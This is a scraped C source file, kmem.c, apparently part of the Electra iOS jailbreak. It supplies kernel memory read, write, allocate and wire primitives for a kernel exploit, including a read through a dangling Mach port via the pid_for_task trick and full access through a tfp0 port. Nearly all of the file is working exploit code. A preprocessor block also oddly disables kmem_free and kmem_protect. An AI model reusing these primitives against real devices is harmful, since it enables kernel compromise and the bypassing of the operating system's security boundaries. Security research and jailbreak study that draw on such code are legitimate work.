kmem.c 8.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <mach/mach.h>
  5. #include "kmem.h"
  6. #include "kutils.h"
  7. /***** mach_vm.h *****/
  8. kern_return_t mach_vm_read(
  9. vm_map_t target_task,
  10. mach_vm_address_t address,
  11. mach_vm_size_t size,
  12. vm_offset_t *data,
  13. mach_msg_type_number_t *dataCnt);
  14. kern_return_t mach_vm_write(
  15. vm_map_t target_task,
  16. mach_vm_address_t address,
  17. vm_offset_t data,
  18. mach_msg_type_number_t dataCnt);
  19. kern_return_t mach_vm_read_overwrite(
  20. vm_map_t target_task,
  21. mach_vm_address_t address,
  22. mach_vm_size_t size,
  23. mach_vm_address_t data,
  24. mach_vm_size_t *outsize);
  25. kern_return_t mach_vm_allocate(
  26. vm_map_t target,
  27. mach_vm_address_t *address,
  28. mach_vm_size_t size,
  29. int flags);
  30. kern_return_t mach_vm_deallocate (
  31. vm_map_t target,
  32. mach_vm_address_t address,
  33. mach_vm_size_t size);
  34. kern_return_t mach_vm_protect (
  35. vm_map_t target_task,
  36. mach_vm_address_t address,
  37. mach_vm_size_t size,
  38. boolean_t set_maximum,
  39. vm_prot_t new_protection);
  40. // the exploit bootstraps the full kernel memory read/write with a fake
  41. // task which just allows reading via the bsd_info->pid trick
  42. // this first port is kmem_read_port
  43. mach_port_t kmem_read_port = MACH_PORT_NULL;
  44. void prepare_rk_via_kmem_read_port(mach_port_t port) {
  45. kmem_read_port = port;
  46. }
  47. mach_port_t tfp1 = MACH_PORT_NULL;
  48. void prepare_rwk_via_tfp0(mach_port_t port) {
  49. tfp1 = port;
  50. }
  51. int have_kmem_read() {
  52. return (kmem_read_port != MACH_PORT_NULL) || (tfp1 != MACH_PORT_NULL);
  53. }
  54. int have_kmem_write() {
  55. return (tfp1 != MACH_PORT_NULL);
  56. }
  57. uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
  58. kern_return_t err;
  59. if (kmem_read_port == MACH_PORT_NULL) {
  60. printf("kmem_read_port not set, have you called prepare_rk?\n");
  61. sleep(10);
  62. exit(EXIT_FAILURE);
  63. }
  64. mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
  65. err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
  66. if (err != KERN_SUCCESS) {
  67. printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
  68. sleep(10);
  69. exit(EXIT_FAILURE);
  70. }
  71. // now do the read:
  72. uint32_t val = 0;
  73. err = pid_for_task(kmem_read_port, (int*)&val);
  74. if (err != KERN_SUCCESS) {
  75. printf("error calling pid_for_task %x %s", err, mach_error_string(err));
  76. sleep(10);
  77. exit(EXIT_FAILURE);
  78. }
  79. return val;
  80. }
  81. uint32_t rk32_via_tfp0(uint64_t kaddr) {
  82. kern_return_t err;
  83. uint32_t val = 0;
  84. mach_vm_size_t outsize = 0;
  85. err = mach_vm_read_overwrite(tfp1,
  86. (mach_vm_address_t)kaddr,
  87. (mach_vm_size_t)sizeof(uint32_t),
  88. (mach_vm_address_t)&val,
  89. &outsize);
  90. if (err != KERN_SUCCESS){
  91. printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp1);
  92. sleep(3);
  93. return 0;
  94. }
  95. if (outsize != sizeof(uint32_t)){
  96. printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
  97. sleep(3);
  98. return 0;
  99. }
  100. return val;
  101. }
  102. uint32_t rk32_electra(uint64_t kaddr) {
  103. if (tfp1 != MACH_PORT_NULL) {
  104. return rk32_via_tfp0(kaddr);
  105. }
  106. if (kmem_read_port != MACH_PORT_NULL) {
  107. return rk32_via_kmem_read_port(kaddr);
  108. }
  109. printf("attempt to read kernel memory but no kernel memory read primitives available\n");
  110. sleep(3);
  111. return 0;
  112. }
  113. uint64_t rk64_electra(uint64_t kaddr) {
  114. uint64_t lower = rk32_electra(kaddr);
  115. uint64_t higher = rk32_electra(kaddr+4);
  116. uint64_t full = ((higher<<32) | lower);
  117. return full;
  118. }
  119. void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
  120. if (tfp1 == MACH_PORT_NULL) {
  121. printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
  122. sleep(3);
  123. return;
  124. }
  125. kern_return_t err;
  126. err = mach_vm_write(tfp1,
  127. (mach_vm_address_t)kaddr,
  128. (vm_offset_t)buffer,
  129. (mach_msg_type_number_t)length);
  130. if (err != KERN_SUCCESS) {
  131. printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
  132. return;
  133. }
  134. }
  135. void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
  136. kern_return_t err;
  137. mach_vm_size_t outsize = 0;
  138. err = mach_vm_read_overwrite(tfp1,
  139. (mach_vm_address_t)kaddr,
  140. (mach_vm_size_t)length,
  141. (mach_vm_address_t)buffer,
  142. &outsize);
  143. if (err != KERN_SUCCESS){
  144. printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp1);
  145. sleep(3);
  146. return;
  147. }
  148. if (outsize != length){
  149. printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
  150. sleep(3);
  151. return;
  152. }
  153. }
  154. const uint64_t kernel_address_space_base = 0xffff000000000000;
  155. void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
  156. if (dest >= kernel_address_space_base) {
  157. // copy to kernel:
  158. wkbuffer(dest, (void*) src, length);
  159. } else {
  160. // copy from kernel
  161. rkbuffer(src, (void*)dest, length);
  162. }
  163. }
  164. void wk32_electra(uint64_t kaddr, uint32_t val) {
  165. if (tfp1 == MACH_PORT_NULL) {
  166. printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
  167. sleep(3);
  168. return;
  169. }
  170. kern_return_t err;
  171. err = mach_vm_write(tfp1,
  172. (mach_vm_address_t)kaddr,
  173. (vm_offset_t)&val,
  174. (mach_msg_type_number_t)sizeof(uint32_t));
  175. if (err != KERN_SUCCESS) {
  176. printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
  177. return;
  178. }
  179. }
  180. void wk64_electra(uint64_t kaddr, uint64_t val) {
  181. uint32_t lower = (uint32_t)(val & 0xffffffff);
  182. uint32_t higher = (uint32_t)(val >> 32);
  183. wk32_electra(kaddr, lower);
  184. wk32_electra(kaddr+4, higher);
  185. }
  186. uint64_t kmem_alloc(uint64_t size) {
  187. if (tfp1 == MACH_PORT_NULL) {
  188. printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
  189. sleep(3);
  190. return 0;
  191. }
  192. kern_return_t err;
  193. mach_vm_address_t addr = 0;
  194. mach_vm_size_t ksize = round_page_kernel(size);
  195. err = mach_vm_allocate(tfp1, &addr, ksize, VM_FLAGS_ANYWHERE);
  196. if (err != KERN_SUCCESS) {
  197. printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
  198. sleep(3);
  199. return 0;
  200. }
  201. return addr;
  202. }
  203. uint64_t kmem_alloc_wired(uint64_t size) {
  204. if (tfp1 == MACH_PORT_NULL) {
  205. printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
  206. sleep(3);
  207. return 0;
  208. }
  209. kern_return_t err;
  210. mach_vm_address_t addr = 0;
  211. mach_vm_size_t ksize = round_page_kernel(size);
  212. printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
  213. err = mach_vm_allocate(tfp1, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
  214. if (err != KERN_SUCCESS) {
  215. printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
  216. sleep(3);
  217. return 0;
  218. }
  219. printf("allocated address: %llx\n", addr);
  220. addr += 0x3fff;
  221. addr &= ~0x3fffull;
  222. printf("address to wire: %llx\n", addr);
  223. err = mach_vm_wire(fake_host_priv(), tfp1, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
  224. if (err != KERN_SUCCESS) {
  225. printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
  226. sleep(3);
  227. return 0;
  228. }
  229. return addr;
  230. }
  231. void kmem_free(uint64_t kaddr, uint64_t size) {
  232. #if 0
  233. if (tfp1 == MACH_PORT_NULL) {
  234. printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
  235. sleep(3);
  236. return;
  237. }
  238. kern_return_t err;
  239. mach_vm_size_t ksize = round_page_kernel(size);
  240. err = mach_vm_deallocate(tfp1, kaddr, ksize);
  241. if (err != KERN_SUCCESS) {
  242. printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
  243. sleep(3);
  244. return;
  245. }
  246. }
  247. void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
  248. if (tfp1 == MACH_PORT_NULL) {
  249. printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
  250. sleep(3);
  251. return;
  252. }
  253. kern_return_t err;
  254. err = mach_vm_protect(tfp1, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
  255. if (err != KERN_SUCCESS) {
  256. printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
  257. sleep(3);
  258. return;
  259. }
  260. #endif
  261. }